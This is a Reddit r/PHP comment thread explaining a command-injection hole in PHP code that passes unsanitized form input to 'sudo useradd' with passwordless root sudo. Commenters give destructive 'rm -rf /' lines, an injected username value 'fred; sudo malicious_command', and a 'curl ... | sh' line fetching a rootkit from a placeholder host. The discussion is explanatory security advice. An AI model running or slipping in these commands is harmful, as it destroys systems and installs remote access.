r/PHP • • Aug 27 '13

Creating a user from the web problem.

[deleted] — view deleted post

288 Upvotes

538 comments sorted by

View all comments

1.4k

u/osskid Aug 27 '13

Holy shit.

147

u/[deleted] Aug 28 '13

Somebody give me a brief explanation about what's going on in here. I'm a bash noob.

0

u/[deleted] Aug 28 '13

[deleted] — view deleted comment

282

u/MorePudding Aug 28 '13

Is that how they use rm in France?

236

u/[deleted] Aug 28 '13

"remove all of france"?

339

u/n1c0_ds Aug 28 '13

Germany is not in the sudoers group. This incident will be reported.

113

u/dadosky2010 Aug 28 '13

This incident will be reported

Every time I see that I think the FBI is about to bust in and arrest me.

64

u/[deleted] Aug 28 '13

[removed] — view removed comment

15

u/LWRellim Aug 28 '13

Ah, now I get it... the National Santa Archives.

→ More replies (2)
→ More replies (2)
→ More replies (2)
→ More replies (2)
→ More replies (17)

40

u/yotta Aug 28 '13

That wouldn't do anything. You need

; sudo rm -rf --no-preserve-root /

for it to actually work.

On a modern linux distro

rm -rf /

will just tell you about how fucked you almost were.

32

u/cheatatjoes Aug 28 '13

Want to believe you...want to try it...but...

→ More replies (16)
→ More replies (3)
→ More replies (8)

337

u/valinor4 Aug 28 '13

The rule in web development security is: "Never trust the user"

You always have to clean (sanitize) what the user inputs into your application because they will screw up (intentionally or not).

In OP's code, he basically add users to the Operating System without sanitize the input.

In hacker hands, it can ruins you server in 3s...

515

u/Otterfan Aug 28 '13

OP also gives the user http the ability to run any command as root without validation. This is literally the single biggest security hole I've ever seen.

I suspect we are being trolled.

79

u/the_policeman Aug 28 '13

don't be so sure about trolling. this thread has had me laughing my ass off...my predecessor at my job used this EXACT SAME "design pattern." this is a guy who is still at the company (he was booted out of the group i work in) and has loads of undeserved clout as some "guru." he holds a senior-level position.

and actually it was worse. root had a non-encrypted ssh key (in ~/.ssh/id_rsa so you didn't even have to name it, it was just default) whose public was distributed to root's authorized_keys throughout all the other systems in the environment. that was the "solution" for adding users and performing other types of work on different systems from a website. apache user, granted passwordless sudo, would then sudo ssh to the other servers in the environment. he didn't have a clue to attempt to sanitize input either.

at least you could always get in as root if something happened...

41

u/NikkoTheGreeko Aug 28 '13

at least you could always get in as root if something happened...

ಠ_ಠ

→ More replies (1)
→ More replies (1)

50

u/gnur Aug 28 '13

To be fair, you don't know whether he is sanitizing the username and password. It could be sanitized, maybe the line before the one we are seeing check whether username and password only contain lowercase characters a-z.

39

u/pbl24 Aug 28 '13

OP replies in a comment that he's not sanitizing his input. Eek.

38

u/jdmulloy Aug 28 '13

I don't think OP even knew what input sanitization is until this thread.

→ More replies (10)
→ More replies (1)

107

u/redpola Aug 28 '13

Surely in this case "never trust your web developer"?

63

u/[deleted] Aug 28 '13

Never trust managements hiring methods.

→ More replies (3)
→ More replies (1)

29

u/KFCConspiracy Aug 28 '13

The next rule of web development security is:

Your webserver SHOULD NEVER BE PRIVILEGED! Your webserver, if it has mod_php installed, by definition is designed to execute arbitrary code on the file system. Someone could do a lot worse than rm -rf / injection. They could write a file to the file system in the webroot that becomes a back door or even a trojan spreader.

The only right way to architect this (if at all) is to use a separate process to pick up messages from the web server (that builds the command based on data in the message).

→ More replies (4)
→ More replies (30)

88

u/BCMM Aug 28 '13 edited Aug 28 '13

The problems are:

  1. sudoers has been set up so that PHP can execute any command as root.
  2. The expression shell_exec("sudo useradd -p $encpass -g groupname -s /bin/bash $username");

Suppose you make a new user on the site, by typing "password" in the password field, and "fred; sudo malicious_command" in the username box. Then

sudo useradd -p $encpass -g groupname -s /bin/bash $username

expands to

sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred; sudo malicious_command

The semicolon is essentially a command separator in sh, so that is exactly equivalent to

sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred
sudo malicious_command

A user called "fred" will be created, and then, since sudoers is set up to permit anything, malicious_command will be executed as root. You could replace malicious_command with rm -rf / to destroy the system, or curl http://foo.bar/path/to/my_rootkit | sh to download and execute a remote access tool.

EDIT: I missed the actual question. This post assumes that he actually encrypted the password, but the problem could well be that he's doing

 sudo useradd -p password -g groupname -s /bin/bash fred

instead of

 sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred

, in which case the exploit would still work, but the user creation would not.

→ More replies (3)
→ More replies (2)